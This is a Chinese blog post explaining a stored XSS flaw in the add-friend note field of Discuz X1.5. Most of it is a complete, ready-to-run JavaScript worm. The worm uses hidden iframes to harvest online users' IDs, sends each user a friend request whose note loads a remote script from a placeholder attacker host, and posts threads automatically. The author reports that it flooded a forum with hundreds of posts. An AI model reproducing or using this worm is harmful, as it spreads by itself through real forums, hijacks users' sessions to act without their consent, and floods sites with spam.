您的位置:首页 > 其它

Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

2015-11-10 13:29 399 查看
Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散。

位置在添加好友处



x完之后的效果



点击后触发



ok 借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。

step 1 : attacker 发送带xss worm payload给 用户a,

step 2 : 用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload

step 3 : 被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子

没code说个jb,worm代码如下

你需要修改

1 urlBase 为你的想1.5 论坛基地址

2 存放xss的payload的地址

//code for xss test

//论坛的基地址
var urlBase = "http://forum.xxx.com";

var add= function(uid){

var ifBox = window['ifBox'] || (window['ifBox']={});

var uyk = (new Date()).getTime();

var ifFame = ifBox[uyk] =document.createElement("iframe");

ifFame.src=urlBase + "/home.php?mod=spacecp&ac=friend&op=add&uid="+uid;

ifFame.width=0;ifFame.height=0;

ifFame.onload = function(){

try{
//存放xss payload的地址
ifFame.contentDocument.getElementsByName("note")[0].value= 'hello<script src="http://xxx.xxx.xxx/js/dz.js"></script>';

ifFame.contentDocument.getElementById("addsubmit_btn").click();

ifFame=null;

}catch(err){

}

}

document.body.appendChild(ifFame);

}

var newThread = function(){

var if1 = document.createElement("iframe");

if1.src= urlBase+"/forum.php?mod=post&action=newthread&fid=21";

if1.width=0;if1.height=0;

if1.onload = function(){

var doc =if1.contentDocument;

doc.getElementById("subject").value = "哇卡卡卡~~~";

if1.contentDocument.getElementById("e_iframe").contentDocument.body.innerHTML =" _______________</br>< XSS Worm Test ></br> ---------------</br>        \   ^__^</br>         \  (oo)\_______</br>            (__)\       )\/\</br>                ||----w |</br>                ||     ||</br>";

doc.getElementById("postsubmit").click();

if1.onload = function(){return false;}

}

document.body.appendChild(if1);

}

var if0 = document.createElement("iframe");

if0.src= urlBase + "/forum.php?showoldetails=yes#online";

if0.width=0;if0.height=0;

if0.onload = function(){

var uli =if0.contentDocument.getElementsByTagName("li");

for(var i = 0;i<uli.length;i++){

if(uli[i].title.length > 5){

var uid = uli[i].childNodes[3].href.substring(uli[i].childNodes[3].href.indexOf("uid=")+4);

var r = Math.round(Math.random() * 10);

// if(i%10 == r){

//轻点

newThread();

add(uid);

//  }

}

}

}

document.body.appendChild(if0);


这里面又很多的坑包括js的异步加载,跨iframe的元素操作等等,希望对其他人能提供帮助。

实际的worm效果是,20分钟内刷了30页,每页20篇的论坛帖子把~~
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: